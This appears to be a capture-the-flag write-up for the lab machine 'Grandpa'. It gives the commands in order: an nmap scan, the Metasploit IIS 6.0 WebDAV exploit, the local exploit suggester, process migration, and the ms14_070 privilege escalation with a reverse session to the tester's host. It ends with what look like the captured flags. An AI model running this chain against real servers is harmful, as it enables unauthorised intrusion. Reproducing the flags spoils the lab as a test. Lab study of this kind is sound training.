Win: Grandpa

very nice resource on stable processes needed in this machine
https://resources.infosecinstitute.com/poor-mans-process-migration-windows/#gref

```
nmap -sC -sV -oA nmapscan -vvvv 10.10.10.14
```

```
PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 6.0
| http-methods:
```

```
msfconsole
search iis webdav
```

```
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set rhosts 10.10.10.14
run
```

```
whoami
authority\network service
```

```
use post/multi/recon/local_exploit_suggester
```

```
msf5 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.10.14 - Collecting local exploits for x86/windows...
[*] 10.10.10.14 - 29 exploit checks are being tried...
[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
```

go to the meterpreter shell again

```
ps
PID   PPID  Name              Arch  Session  User                          Path
 ---   ----  ----              ----  -------  ----                          ----
1828  604   wmiprvse.exe      x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\wbem\wmiprvse.exe
1912  396   dllhost.exe
2044  1456  w3wp.exe          x86   0        NT AUTHORITY\NETWORK SERVICE  c:\windows\system32\inetsrv\w3wp.exe
2120  604   davcdata.exe      x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\inetsrv\davcdata.exe
```

```
migrate 2120
use exploit/windows/local/ms14_070_tcpip_ioctl
set session 1
set lhost 10.10.14.9
set lport 12345
run
```

bdff5ec67c3cff017f2bedc146a5d869
9359e905a2c35f861f6a57cecf28bb7b